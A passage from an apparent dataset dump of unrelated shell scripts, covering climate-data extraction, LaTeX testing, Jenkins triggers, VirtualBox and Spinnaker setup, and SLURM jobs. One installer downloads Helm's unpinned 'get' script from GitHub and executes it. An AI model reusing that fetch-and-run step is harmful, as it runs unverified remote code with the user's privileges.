${DATATYPE} != \"rt\" ]; then\n echo \"ERROR: invalid DATATYPE!\"\n exit\nfi\nif [ ${DATATYPE} == \"re\" ]; then\n echo -e \"Please enter a path for the input folder\"\n echo -e \"(default is ec:/emos/geff/0001/re):\"\n read INDIR\n INDIR=${INDIR:-ec:/emos/geff/0001/re}\n echo -e \"Please enter a path for the output folder\"\n echo -e \"(default is /hugetmp/fire/geff/reanalysis):\"\n read OUTDIR\n OUTDIR=${OUTDIR:-/hugetmp/fire/geff/reanalysis}\n FORECASTTYPE=re\nfi\nif [ ${DATATYPE} == \"rt\" ]; then\n echo -e \"Please enter a path for the input folder\"\n echo -e \"(default is ec:/emos/geff/0001/rt):\"\n read INDIR\n INDIR=${INDIR:-ec:/emos/geff/0001/rt}\n echo -e \"Please enter a path for the output folder\"\n echo -e \"(default is /hugetmp/fire/geff/forecast):\"\n read OUTDIR\n OUTDIR=${OUTDIR:-/hugetmp/fire/geff/forecast}\n echo -e \"Please enter forecast type\"\n echo -e \"(options are 'hr' (HRES, default) or 'en' (ENS)):\"\n read FORECASTTYPE\n FORECASTTYPE=${FORECASTTYPE:-hr}\nfi\n\necho \"\"\necho \"### EXECUTING THE SCRIPT ################################################\"\necho \"\"\n\n# Load modules to be used\nmodule load cdo\n\n# Create directory structure, if it does not already exist\nmkdir -p ${OUTDIR}\nfor index in ${VARS[*]}; do\n mkdir -p ${OUTDIR}/${index}\n mkdir -p ${OUTDIR}/${index}_rotated\ndone\n\n# You can use slightly malformed dates (2016-9-9 rather than 2016-09-09).\n# The code below ensures that startdate and enddate are valid ISO 8601 dates.\n# In case the script encounters unparseable data (ENDINGDATE=abcd) it will abort\nstartdate=$(date -I -d \"$STARTINGDATE\") || exit -1\nenddateminusone=$(date -I -d \"$ENDINGDATE\") || exit -1\nenddate=$(date -I -d \"$enddateminusone + 1 day\")\n\nd=\"$startdate\"\necho \"Copying the following file into the current working directory\"\nwhile [ \"$d\" != \"$enddate\" ]; do\n # Get year/month/day from current date\n year=${d:0:4}\n month=${d:5:2}\n day=${d:8:2}\n infolder=${INDIR}/${year}/${month}\n # Read and copy files (one-by-one) locally\n infile=ECMWF_EFFIS_${year}${month}${day}_1200_${FORECASTTYPE}\n # echo ${infolder}/${infile}.tar\n ecp -o ${infolder}/${infile}.tar ${OUTDIR}\n # echo \"De-compressing archive\"\n # Decompress (tar -xvf)\n # and save in given folder (-C)\n # only the relevant file without folder structure(--strip-component 1)\n if [ \"${FORECASTTYPE}\" == \"en\" ]; then\n if [ \"${ORIGIN}\" == \"FO\" ]; then\n member=00\n ncfile=ECMWF_${ORIGIN}_${year}${month}${day}_1200_${member}\n tar -xvf ${OUTDIR}/${infile}.tar -C ${OUTDIR} \\\n ${infile}/${ncfile}.nc --strip-components 1\n for index in ${VARS[*]}; do\n # echo \"Extracting indices\"\n if [ \"${index}\" != \"all\" ]; then\n cdo --silent -select,name=${index} ${OUTDIR}/${ncfile}.nc \\\n ${OUTDIR}/${index}/${ncfile}_${index}.nc\n fi\n done\n rm ${OUTDIR}/${ncfile}.nc\n else\n for member in 0{0..9} {10..50}; do\n ncfile=ECMWF_${ORIGIN}_${year}${month}${day}_1200_${member}\n tar -xvf ${OUTDIR}/${infile}.tar -C ${OUTDIR} \\\n ${infile}/${ncfile}.nc --strip-components 1\n for index in ${VARS[*]}; do\n # echo \"Extracting indices\"\n if [ \"${index}\" != \"all\" ]; then\n cdo --silent -select,name=${index} ${OUTDIR}/${ncfile}.nc \\\n ${OUTDIR}/${index}/${ncfile}_${index}.nc\n fi\n done\n rm ${OUTDIR}/${ncfile}.nc\n done\n fi\n else\n ncfile=ECMWF_${ORIGIN}_${year}${month}${day}_1200_${FORECASTTYPE}\n tar -xvf ${OUTDIR}/${infile}.tar -C ${OUTDIR} \\\n ${infile}/${ncfile}.nc --strip-components 1\n for index in ${VARS[*]}; do\n # echo \"Extracting indices\"\n if [ \"${index}\" != \"all\" ]; then\n cdo --silent -select,name=${index} ${OUTDIR}/${ncfile}.nc \\\n ${OUTDIR}/${index}/${ncfile}_${index}.nc\n rm ${OUTDIR}/${ncfile}.nc\n fi\n done\n fi\n # echo \"Removing unnecessary tar file\"\n rm ${OUTDIR}/${infile}.tar\n # Increment of 1 day\n d=$(date -I -d \"$d + 1 day\")\ndone\n\nif [ \"${ROTATE}\" == \"y\" ]; then\n echo \"Rotating longitudes from [0,360] to [-180,+180]\"\n for index in ${VARS[*]}; do\n # Rotate longitudes from [0,360] to [-180,+180]\n for filename in ${OUTDIR}/${index}/*.nc; do\n basefilename=${filename##*/}\n cdo --silent sellonlatbox,-180,180,-90,90 ${filename} \\\n ${OUTDIR}/${index}_rotated/${basefilename}\n done\n # Remove non-rotated files\n rm -rf ${OUTDIR}/${index}\n done\n folder2stack=${OUTDIR}/${index}_rotated/\nelse\n folder2stack=${OUTDIR}/${index}/\nfi\n\nif [ \"${STACK}\" == \"y\" ]; then\n echo \"Stacking all files into 1 netcdf\"\n for index in ${VARS[*]}; do\n # Stack all files for a given variable into 1 netcdf\n cdo --silent cat ${folder2stack}/*.nc ${OUTDIR}/${index}.nc\n # Remove original files\n rm -rf ${folder2stack}\n done\nfi\n\necho -e \"######################################################################\""} {"text": "<gh_stars>0\n#!/usr/bin/env bash\nwinpty python.exe ./fetch_sheets.py \\\n -s ~/Programming/spnati-client-secrets.json \\\n -t ~/Programming/spnati-fetch-token.json \\\n -o ./\nwinpty python.exe ../monika/helper-scripts/kkl_import.py -c ./poses.csv ./"} {"text": "<reponame>agnivesh/lunar<gh_stars>100-1000\n# full_audit_windows_services\n#\n# Audit windows services\n#.\n\nfull_audit_windows_services () {\n audit_smbpasswd_perms\n audit_smbconf_perms\n audit_samba\n audit_wins\n audit_winbind\n}"} {"text": "<filename>Scripts/runtests.sh\n#!/bin/bash\n\nrenice 20 $$\n\n# should the output directory be deleted?\nNOW=$(date \"+%Y-%m-%d@%H-%M\")\nVERSION=$(fgrep \"%% Version\" template.tex | cut -d '[' -f 2 | cut -d ']' -f 1)\nOUTDIR=../NT-OutputTests-v$VERSION\nLOGFILE=$OUTDIR/log_$NOW.log\nFORCE=false\nDELETE=false\nSET1=false\nSET2=false\n\n#===================================================================\n# Process command line arguments\n#===================================================================\nargs=`getopt fx12o: $*`\n# you should not use `getopt abo: \"$@\"` since that would parse\n# the arguments differently from what the set command below does.\nif [ $? != 0 ]\nthen\n echo 'Usage: ...'\n exit 2\nfi\nset -- $args\n# You cannot use the set command with a backquoted getopt directly,\n# since the exit code from getopt would be shadowed by those of set,\n# which is zero by definition.\nfor i; do\n case \"$i\" in\n\t\t-f)\n FORCE=true;\n shift;;\n\t\t-x)\n DELETE=true;\n shift;;\n -1)\n SET1=true;\n shift;;\n -2)\n SET2=true;\n shift;;\n -o)\n OUTDIR=\"$2\"; shift;\n shift;;\n --)\n shift; break;;\n esac\ndone\n\n#===================================================================\n# DEFINITIONS\n#===================================================================\n\nprocessor=\"pdfxe pdflua pdf\"\n# %%------------------------------------------------------------\n# %% THE MOST IMPORTANT/POPULAR OPTIONS\n# %%------------------------------------------------------------\ndocdegree=\"phd phdplan phdprop msc mscplan bsc\"\nschool=\"nova/fct nova/fcsh nova/ims nova/ensp ul/ist ul/fc ipl/isel ips/ests esep\"\nlang=\"pt en fr it\"\nlinkscolor=\"SteelBlue Red\"\nmedia=\"screen paper\"\nprintcommittee=\"true false\"\nsecondcover=\"true false\"\nurlstyle=\"tt rm sf same\"\n\n# %%------------------------------------------------------------\n# %% THE LESS IMPORTANT/POPULAR OPTIONS\n# %%------------------------------------------------------------\nfontstyle=\"kpfonts bookman libertine scholax calibri kieranhealy\"\nchapstyle=\"elegant bianchi bluebox default ell hansen ist lyhne madsen pedersen veelo vz34 vz43\"\ncoverlang=\"pt en fr it\"\ncopyrightlang=\"pt en fr it\"\naftercover=\"true false\"\n# debugcover=\"true false\"\n# spine=\"true false\"\n# cdcover=\"true false\"\n\n\nif [ \"$OUTDIR\" = \"ture\" ]; then\n\tif [ \"$FORCE\" = \"false\" ]; then\n\t\techo \"Removing $OUTDIT if it exists! Are you sure? (y/n)\"\n\t\tread yn\n\telse\n\t\tyn=y\n\tfi\n\tif [ \"$yn\" = \"y\" ]; then\n\t\trm -rf $OUTDIR\n\tfi\nfi\n\n#===================================================================\n# TEST PRIMARY ATTRIBUTES\n#===================================================================\nif [ \"$SET1\" = \"true\" ]; then\n\tfor i2 in \"school\"; do\n\t\tfor school_ in ${!i2}; do\n\t\t\tfor i1 in \"docdegree\"; do \n\t\t\t\tfor degree_ in ${!i1}; do\n\t\t\t\t\tcp template.tex main.tex\n\t\t\t\t\trm main.aux\n\t\t\t\t\tperl -pi -e \"s|^% \\\\\\\\ntsetup{$i2=(.*)}|\\\\\\\\ntsetup{$i2=$school_}|\" main.tex\n\t\t\t\t\tperl -pi -e \"s|^% \\\\\\\\ntsetup{$i1=(.*)}|\\\\\\\\ntsetup{$i1=$degree_}|\" main.tex\n\t\t\t\t\tmkdir -p $OUTDIR/1/$school_\n\t\t\t\t\tfor processor_ in $processor; do\n\t\t\t\t\t\techo \"==================================================================\"\n\t\t\t\t\t\techo \"$i2=$school_ $i1=$degree_ $processor_\"\n\t\t\t\t\t\techo \"==================================================================\"\n\t\t\t\t\t\tlatexmk -time -silent -$processor_ -interaction=nonstopmode main | tee -a $LOGFILE\n\t\t\t\t\t\t[ -f main.xdv ] && xdvipdfmx -E -o main.pdf main.xdv && rm main.xdv\n\t\t\t\t\t\t[ -f main.pdf ] && mv main.pdf $OUTDIR/1/$school_/$degree_-$processor_.pdf\n\t\t\t\t\tdone\n\t\t\t\tdone\n\t\t\tdone\n\t\tdone\n\tdone\n\n\tScripts/latex-clean-temp.sh\n\trm main.tex\n\t\nfi # SET1\n\n\n#===================================================================\n# TEST SECONDRY ATTRIBUTES\n#===================================================================\nif [ \"$SET2\" = \"true\" ]; then\n\tmkdir -p $OUTDIR/2\n\tfor i in lang linkscolor media urlstyle media printcommittee secondcover urlstyle fontstyle chapstyle; do\n\t\tfor j in ${!i}; do\n\t\t\techo \"==================================================================\"\n\t\t\techo \"Testing - $i=$j\"\n\t\t\techo \"==================================================================\"\n\t\t\tcp template.tex main.tex\n\t\t\t# perl -pi -e \"s|^% \\\\\\\\ntsetup{school=(.*)}|\\\\\\\\ntsetup{school=nova/fct}|\" main.tex\n\t\t\tperl -pi -e \"s|^% \\\\\\\\ntsetup{$i=(.*)}|\\\\\\\\ntsetup{$i=$j}|\" main.tex\n\t\t\t# fgrep ntsetup main.tex | fgrep -e \"$i\" -e \"school\"\n\t\t\ttime latexmk -silent -pdf -interaction=nonstopmode main | tee -a $LOGFILE\n\t\t\t[ -f main.pdf ] && mv main.pdf $OUTDIR/2/$i-$j.pdf || touch $OUTDIR/2/$i-$j-FAILED.txt\n\t\tdone\n\tdone\n\t\n\tScripts/latex-clean-temp.sh\n\trm main.tex\n\t\nfi # SET2"} {"text": "#!/usr/bin/env bash\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\nsource common.sh\n\nSERVICE=\"movielens\"\n[ $# -gt 0 ] && { SERVICE=$1; }\nDESC=`cat $SERVICE/desc.md`\n\ninfo \"\"\ninfo \"\"\ninfo \"Let's try to create the toy project '$SERVICE' using s2graphql and s2jobs.\"\ninfo \"\"\nwhile IFS='' read -r line || [[ -n \"$line\" ]]; do\n info \"$line\"\ndone < \"$SERVICE/desc.md\"\n\nq \"First of all, we will check prerequisites\"\nsh ./prepare.sh $SERVICE\n[ $? -ne 0 ] && { exit -1; }\n\nq \"And now, we create vertex and edge schema using graphql\"\nsh ./create_schema.sh $SERVICE\n[ $? -ne 0 ] && { exit -1; }\n\nq \"And, we import example data to service\"\nsh ./import_data.sh $SERVICE\n#[ $? -ne 0 ] && { exit -1; }\n\nq \"Finally, we import similar_model data\"\nsh ./$SERVICE/postprocess.sh\n[ $? -ne 0 ] && { exit -1; }"} {"text": "<gh_stars>10-100\n#!/bin/bash\n\nbasgo-build < gofunc.bas > a.go && go run a.go gofunc.go"} {"text": "#!/bin/bash\n#SBATCH -J convert\n#SBATCH --mem=32000\n#SBATCH -t 5:00:00\n#SBATCH -o logs/convert.%A_%a.out\n#SBATCH --array=1-22\n\n\n# start with this file and load this software\nin_vcf=\"/scratch/users/magu/deepmix/data/vcf/expanded_ref_panel.vcf.gz\"\n# in_vcf=\"/oak/stanford/groups/mrivas/public_data/ref_1kg_hgdp_sgdp/beagle_1kg_hgdp_sgdp_ref_panel_pure.vcf.gz\"\nml load biology; ml load bcftools; ml load htslib # bcftools, bgzip, tabix\n\n\n# consider this chromosome\nchm=${SLURM_ARRAY_TASK_ID:=20}\n\n\n# first make this vcf and tabix it just because\nvcf2=\"$SCRATCH/deepmix/data/vcf/panel_chr${chm}.vcf.gz\"\necho $vcf2\nif [ ! -f $vcf2 ]; then # in case you have to rerun\n\t# if you get errors, check if it's chrN or just N\n\tbcftools view -r \"${chm}\" $in_vcf | bgzip -c > $vcf2\n\ttabix $vcf2\nfi\n\n# now convert to numpy\nnpz=\"$SCRATCH/deepmix/data/panel_chr${chm}\"\necho $npz\npython3 vcf_to_numpy.py $vcf2 $npz"} {"text": "#!/bin/sh\n\n#to compile\n#g++ -Wall -Werror -ansi -pedantic main.cpp execute.cpp\n\n#tests\n(echo bb) && (echo a && echo a)\n(echo aa && (echo a && (echo bb))) && (echo aa)\n(echo bb) && (echo a && (echo aa))\n(echo bb) && (echo a || echoo aa)\n(echo bb) && (echoo a || echo aa)"} {"text": "<filename>infrastructure-setup/scripts/install-virtualbox-guest-additions.sh\n#!/usr/bin/env bash\nset -e\n\nsudo yum install -y wget gcc kernel-devel-$(uname -r) kernel-headers-$(uname -r) dkms make bzip2 perl\nsudo rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm\n\nVBOX_LATEST_VERSION=$(curl http://download.virtualbox.org/virtualbox/LATEST.TXT)\nsudo wget -c http://download.virtualbox.org/virtualbox/${VBOX_LATEST_VERSION}/VBoxGuestAdditions_${VBOX_LATEST_VERSION}.iso -O /tmp/VBoxGuestAdditions_${VBOX_LATEST_VERSION}.iso\nsudo mkdir -p /media/guestadditions ; sudo mount -o loop /tmp/VBoxGuestAdditions_${VBOX_LATEST_VERSION}.iso /media/guestadditions\nsudo yes | /media/guestadditions/VBoxLinuxAdditions.run\nsudo umount /media/guestadditions && sudo rm -rf /tmp/VBoxGuestAdditions_$VBOX_VERSION.iso /media/guestadditions\n\nsudo cat /var/log/vboxadd-setup.log\n\necho 'You may safely ignore the message that reads: \"Could not find the X.Org or XFree86 Window System.\"'"} {"text": "<filename>test/test_son-mano-base.sh\n#!/bin/bash\n\n#\n# This script runs the son-mano-base related tests.\n#\n# It starts two Docker containers:\n# - RabbitMQ\n# - son-mano-base/Dockerfile\n#\n# It triggers the unittest execution in son-mano-base/Dockerfile.\n#\n\n# setup cleanup mechanism\ntrap \"docker kill test.broker; docker rm test.broker; docker rm test.sonmanobase\" INT TERM EXIT\n\n# always abort if an error occurs\nset -e\n\necho \"test_son-mano-base.sh\"\n# build Docker images\ndocker build -t test.sonmanobase -f son-mano-base/Dockerfile .\n# spin up container with broker (in daemon mode)\ndocker run -d -p 5672:5672 --name test.broker rabbitmq:3\n# wait a bit for broker startup\nsleep 10\n# spin up the son-mano-base test container and execute its unittests\ndocker run --link test.broker:broker --name test.sonmanobase test.sonmanobase py.test -v\n\necho \"done.\""} {"text": "export LANG=en_US.UTF-8\nFOLDER=$(pwd)\nGPU=$1\nTEST=$2\nMODEL_NAME=RNN\n\nDISK_CODE=$(pwd)\nDISK_DATA=$(pwd)/eComTag\nDISK_RESULT=$(pwd)/output/${MODEL_NAME}\nDISK_VECTOR=$(pwd)/vector/word2vec.p\n\npython3 train.py \\\n --model $MODEL_NAME \\\n --cuda \\\n --device_id ${GPU} \\\n --test ${TEST} \\\n --batch_size 16 \\\n --label_smoothing \\\n --emb_dim 200 \\\n --rnn_hidden_dim 256 \\\n --pretrain_emb \\\n --save_path $DISK_RESULT \\\n\t--dataset_path $DISK_DATA \\"} {"text": "#! /bin/bash\n\n# perform deletion, after which the retrieval has no content, but with a success code\n\ncurl -w \"%{http_code}\\n\" -f -s -S -X DELETE \\\n $STORE_URL/${STORE_ACCOUNT}/repositories/${STORE_REPOSITORY}/statements?auth_token=${STORE_TOKEN} \\\n | fgrep -q \"${DELETE_SUCCESS}\"\n\n\ncurl -f -s -S -X GET \\\n -H \"Accept: application/n-triples\" \\\n $STORE_URL/${STORE_ACCOUNT}/repositories/${STORE_REPOSITORY}/statements?auth_token=${STORE_TOKEN} \\\n | wc -l | fgrep -q \"0\"\n\n\ninitialize_repository | grep_put_success"} {"text": "export TEST_DIR=$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\nsource \"${TEST_DIR}/helper.bash\"\n\nT_invalidImageGeneratesMeaningfullErrorMessage() {\n docker_replay WAT 2>&1 | grep -q \"The 'WAT' image could not be found!\" || \\\n $T_fail 'Error message was not displayed'\n}\n\nT_invalidImageExitsWithError() {\n errored='1'\n docker_replay RLLY &>/dev/null || errored='0'\n\n [ \"${errored}\" -eq '0' ] || $T_fail 'Exit code is zero'\n}"} {"text": "<reponame>Emi260/drydock-docker-jenkins\n#!/bin/bash\n\nset -e\n\nusage() {\n cat <<EOU\nTrigger build on Jenkins (requires a user with API token)\nThe script requires curl and jq.\nUsage:\n -b, --base-url Jenkins base URL\n -j, --job-path path to the job (with build or buildWithParameters included)\n -u, --user username to trigger the job\n -t, --token API token for the user\n -p, --params build parameters. buildWithParameters must be used for the trigger (optional)\n -v, --verbose print URLs\n -w, --wait wait for build to finish\n -h, --help this help\nEOU\n}\n\nVERBOSE=0\nWAIT=0\nHELP=0\n\nTEMP=$(getopt -o b:j:u:t:p:vwh --long base-url:,job-path:,user:,token:,params:,verbose,wait,help -n 'trigger_build.sh' -- \"$@\")\neval set -- \"$TEMP\"\n\n# extract options and their arguments into variables.\nwhile true ; do\n case \"$1\" in\n -b|--base-url)\n JENKINS_URL=$2 ; shift 2 ;;\n -j|--job-path)\n JOB_PATH=$2 ; shift 2 ;;\n -u|--user)\n USERNAME=$2 ; shift 2 ;;\n -t|--token)\n TOKEN=$2 ; shift 2 ;;\n -p|--params)\n PARAMS=$2 ; shift 2 ;;\n -v|--verbose) VERBOSE=1 ; shift ;;\n -w|--wait) WAIT=1 ; shift ;;\n -h|--help) HELP=1 ; shift ;;\n --) shift ; break ;;\n *) usage ; exit 1 ;;\n esac\ndone\n\nif [ $HELP -eq 1 ]\nthen\n usage\n exit 0\nfi\n\nif [ -z \"$JENKINS_URL\" ] || \\\n [ -z \"$JOB_PATH\" ] || \\\n [ -z \"$USERNAME\" ] || \\\n [ -z \"$TOKEN\" ]\nthen\n echo \"Parameter missing\"\n echo\n usage\n exit 1\nfi\n\nCRUMB=$(curl \\\n --silent \\\n -u \"$USERNAME:$TOKEN\" \\\n \"$JENKINS_URL/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,\\\":\\\",//crumb)\"\n )\n\nHEADER=()\nif [[ ${CRUMB} =~ ^(\\.crumb|Jenkins-Crumb):.+ ]]\nthen\n HEADER=(--header \"$CRUMB\")\nfi\n\nTRIGGER_URL=\"$JENKINS_URL/$JOB_PATH\"\nif [ -n \"$PARAMS\" ]\nthen\n TRIGGER_URL=\"${TRIGGER_URL}?${PARAMS}\"\nfi\n\nif [ $VERBOSE -eq 1 ]\nthen\n echo \"Trigger URL: $TRIGGER_URL\"\nfi\n\nQUEUE_URL=$(curl \\\n --silent \\\n --dump-header - \\\n --output /dev/null \\\n --request POST \\\n \"${HEADER[@]}\" \\\n \"$TRIGGER_URL\" \\\n --user \"$USERNAME:$TOKEN\" \\\n | grep -oP '^[Ll]ocation: \\K.+$' \\\n | tr -d '[:space:]'\n )\n\nif [ -z \"$QUEUE_URL\" ]\nthen\n if [ $VERBOSE -eq 1 ]\n then\n echo \"no Queue URL returned\"\n fi\n exit 1\nfi\n\nif [ $VERBOSE -eq 1 ]\nthen\n echo \"Queue URL: $QUEUE_URL\"\nfi\n\nBUILD_URL=\"\"\nuntil [ -n \"$BUILD_URL\" ]\ndo\n sleep 1\n BUILD_URL=$(curl \\\n --silent \\\n --request POST \\\n \"${HEADER[@]}\" \\\n --user \"$USERNAME:$TOKEN\" \\\n \"$QUEUE_URL/api/json\" \\\n | jq -r '.executable.url'\n )\ndone\n\nif [ $VERBOSE -eq 1 ]\nthen\n echo \"Build URL: $BUILD_URL\"\nfi\n\nif [ $WAIT -ne 1 ]\nthen\n exit 0\nfi\n\nBUILD_RESULT=\"\"\nuntil [ -n \"$BUILD_RESULT\" ]\ndo\n sleep 10\n BUILD_RESULT=$(curl \\\n --silent \\\n --request POST \\\n \"${HEADER[@]}\" \\\n --user \"$USERNAME:$TOKEN\" \\\n \"$BUILD_URL/api/json\" \\\n | jq -r '.result' \\\n | sed -e 's/^null$//'\n )\ndone\n\nif [ $VERBOSE -eq 1 ]\nthen\n echo \"Build result: $BUILD_RESULT\"\nfi\n\nif [ \"$BUILD_RESULT\" != \"SUCCESS\" ]\nthen\n exit 1\nfi"} {"text": "#!/bin/sh\n\n# ubuntu\n# check that owner group exists\nif [ -z `getent group spinnaker` ]; then\n groupadd spinnaker\nfi\n\n# check that user exists\nif [ -z `getent passwd spinnaker` ]; then\n useradd --gid spinnaker spinnaker -m --home-dir /home/spinnaker\nfi\n\ninstall_packer() {\n PACKER_VERSION=\"1.3.5\"\n local packer_version=$(/usr/bin/packer --version)\n local packer_status=$?\n if [ $packer_status -ne 0 ] || [ \"$packer_version\" != \"$PACKER_VERSION\" ]; then\n TEMPDIR=$(mktemp -d installrosco.XXXX)\n cd $TEMPDIR\n wget https://releases.hashicorp.com/packer/${PACKER_VERSION}/packer_${PACKER_VERSION}_linux_amd64.zip\n unzip -o \"packer_${PACKER_VERSION}_linux_amd64.zip\" -d /usr/bin\n cd ..\n rm -rf $TEMPDIR\n fi\n}\n\ninstall_helm() {\n wget https://raw.githubusercontent.com/kubernetes/helm/master/scripts/get\n chmod +x get\n ./get\n rm get\n}\n\ninstall_packer\ninstall_helm\ninstall --mode=755 --owner=spinnaker --group=spinnaker --directory /var/log/spinnaker/rosco"} {"text": "KILL=\"sudo pkill -9 node\"\n$KILL\nCMD=\"sudo node /home/pi/SG-MPU/build/main/index.js -sp=/dev/serial0 -lg=60000 -wifi -iface=wlan0 &\"\n$CMD"} {"text": "<gh_stars>1000+\ngit subsplit init <EMAIL>:kraken-php/framework.git\ngit subsplit publish --heads=\"master 0.4\" --no-tags src/Channel:<EMAIL>:kraken-php/channel.git\ngit subsplit publish --heads=\"master 0.4\" --no-tags src/Config:<EMAIL>:kraken-php/config.git\ngit subsplit publish --heads=\"master 0.4\" --no-tags src/Console:<EMAIL>:kraken-php/console.git\ngit subsplit publish --heads=\"master 0.4\" --no-tags src/Container:<EMAIL>:kraken-php/container.git\ngit subsplit publish --heads=\"master 0.4\" --no-tags src/Core:<EMAIL>:kraken-php/core.git\ngit subsplit publish --heads=\"master 0.4\" --no-tags src/Environment:<EMAIL>:kraken-php/environment.git\ngit subsplit publish --heads=\"master 0.4\" --no-tags src/Filesystem:<EMAIL>:kraken-php/filesystem.git\ngit subsplit publish --heads=\"master 0.4\" --no-tags src/Log:<EMAIL>:kraken-php/log.git\ngit subsplit publish --heads=\"master 0.4\" --no-tags src/Network:<EMAIL>:kraken-php/network.git\ngit subsplit publish --heads=\"master 0.4\" --no-tags src/Root:<EMAIL>:kraken-php/root.git\ngit subsplit publish --heads=\"master 0.4\" --no-tags src/Runtime:<EMAIL>:kraken-php/runtime.git\ngit subsplit publish --heads=\"master 0.4\" --no-tags src/Supervision:<EMAIL>:kraken-php/supervision.git\ngit subsplit publish --heads=\"master 0.4\" --no-tags src/Test:<EMAIL>:kraken-php/test.git\nrm -rf .subsplit/"} {"text": "<reponame>oceanzus/ooi-ui-deployments<gh_stars>0\n#!/bin/bash\n#su - uframe\nsudo mkdir /home/uframe/tmp\nsudo cp /home/uframe/source/ooi-cass_cd08b5e.tar.gz /home/uframe/tmp/\nsudo tar -xzvf /home/uframe/tmp/ooi-cass_cd08b5e.tar.gz -C /home/uframe\nsudo chown -R uframe:uframe /home/uframe/ooi\nsudo mv /home/uframe/ooi /home/uframe/ooi-cas\nsource /home/uframe/ooi-cas/bin/edex-server\n\ncd /home/uframe/tmp\nsudo cp /home/uframe/source/uframe_ingest.tar.gz /home/uframe/tmp/\nsudo gunzip /home/uframe/tmp/uframe_ingest.tar.gz\nsudo tar -xvf /home/uframe/tmp/uframe_ingest.tar\ncd /home/uframe/tmp/uframe_ingest\nsudo gunzip /home/uframe/tmp/uframe_ingest/ingest_config_spreadsheets.tar.gz\nsudo tar -xvf /home/uframe/tmp/uframe_ingest/ingest_config_spreadsheets.tar\n\ncd /home/uframe/\necho \"export UFRAME1_HOME=/home/uframe/ooi-cas\" >> /home/uframe/.bash_profile\necho \"export JAVA_HOME=${UFRAME1_HOME}/uframe-1.0/java\" >> /home/uframe/.bash_profile\necho \"export PATH=${JAVA_HOME}/bin:${PATH}\" >> /home/uframe/.bash_profile\n#echo \"export PATH=$PATH:/home/uframe/ooi-cas/uframe-1.0/java/bin\" >> /home/uframe/.bash_profile\nsource /home/uframe/.bash_profile\nsource /home/uframe/ooi-cas/bin/edex-server\n\n/home/uframe/ooi-cas/uframe-1.0/cassandra/bin/cassandra -p /home/uframe/cass.pid &\n\n/home/uframe/ooi-cas/bin/edex-server all start &\n\n/home/uframe/load_data.sh"} {"text": "<reponame>Tsypaev/hercules\nmkdir -p target\nnpx redoc-cli bundle management-api-swagger2.yml -o target/management-api-doc.html"} {"text": "#!/bin/bash\n\ndeclare -i FUND=2200 #4000\ndeclare -i ENDGAME=2\n\n# phase 1\ngbge=\"Megamorphosis\"\n\n# phase 2\n#gbge=\"\"\n\n# phase 3\n#gbge=\"\"\n\n\nybges=(\n \"\"\n #\"Winter Tempest\"\n #\"Orbital Cannon\"\n #\"Charged Up\"\n #\"Combined Arms\"\n #\"Ferocity\"\n #\"Tartarian Gift\"\n #\"Artillery\"\n #\"Blightblast\"\n #\"Divine Blessing\"\n #\"Inspired\"\n #\"Progenitor Tech\"\n #\"Triage\"\n #\"Emergency Aid\"\n #\"Mirror Madness\"\n #\"Sulfuris Essence\"\n)\n\nebges=(\n \"\"\n #\"Winter Tempest\"\n #\"Orbital Cannon\"\n #\"Charged Up\"\n #\"Combined Arms\"\n #\"Ferocity\"\n #\"Tartarian Gift\"\n #\"Artillery\"\n #\"Blightblast\"\n #\"Divine Blessing\"\n #\"Inspired\"\n #\"Progenitor Tech\"\n #\"Triage\"\n #\"Emergency Aid\"\n #\"Mirror Madness\"\n)\n\n\ndefense=\"\"\nif [[ $1 == \"defense\" ]]; then\n defense=1\n shift\nfi\n\ndeclare -A atk_yforts=(\n #[ia_ia]=\"Inspiring Altar #2\"\n #[lc_lc]=\"Lightning Cannon #2\"\n [sf_sf]=\"Sky Fortress #2\"\n #[lc_lc3]=\"Lightning Cannon, Lightning Cannon-3\"\n\n #[cs_cs]=\"Corrosive Spore #2\"\n #[cs_lc]=\"Corrosive Spore, Lightning Cannon\"\n #[cs_df]=\"Corrosive Spore, Death Factory\"\n #[cs_sf]=\"Corrosive Spore, Sky Fortress\"\n #[cs_ia]=\"Corrosive Spore, Inspiring Altar\"\n #[df_df]=\"Death Factory #2\"\n #[lc_df]=\"Lightning Cannon, Death Factory\"\n\n #[cs_mt]=\"Corrosive Spore, Mortar Tower\"\n\n #[sf_sf3]=\"Sky Fortress, Sky Fortress-3\"\n #[sf_lc3]=\"Sky Fortress, Lightning Cannon-3\"\n #[df3_df3]=\"Death Factory-3(2)\"\n #[cs_cs]=\"Corrosive Spore #2\"\n #[cs_df]=\"Corrosive Spore, Death Factory\"\n #[cs_ia]=\"Corrosive Spore, Inspiring Altar\"\n\n #[xx_xx]=\"\"\n)\n\ndeclare -A def_yforts=(\n #[mf_xx]=\"Minefield\"\n #[tc_xx]=\"Tesla Coil\"\n #[fa_xx]=\"Foreboding Archway\"\n #[ff_xx]=\"Forcefield\"\n #[ib_xx]=\"Illuminary Blockade\"\n\n #[tc3_xx]=\"Tesla Coil-3\"\n #[ff3_xx]=\"Forcefield-3\"\n #[ib3_xx]=\"Illuminary Blockade-3\"\n\n #[tc_tc]=\"Tesla Coil #2\"\n #[mf_mf]=\"Minefield #2\"\n #[fa_fa]=\"Foreboding Archway #2\"\n [ff_ff]=\"Forcefield #2\"\n #[ib_ib]=\"Illuminary Blockade #2\"\n #[ff_ib]=\"Forcefield, Illuminary Blockade\"\n\n #[xx_xx]=\"\"\n)\n\ndeclare -A atk_eforts=(\n #[lc_lc]=\"Lightning Cannon #2\"\n [sf_sf]=\"Sky Fortress #2\"\n #[cs_cs]=\"Corrosive Spore #2\"\n #[cs_sf]=\"Corrosive Spore, Sky Fortress\"\n #[ia_ia]=\"Inspiring Altar #2\"\n #[df_df]=\"Death Factory #2\"\n #[mc_mc]=\"Medical Center #2\"\n\n #[ia_xx]=\"Inspiring Altar\"\n #[lc_xx]=\"Lightning Cannon\"\n\n\n #[cs_ia]=\"Corrosive 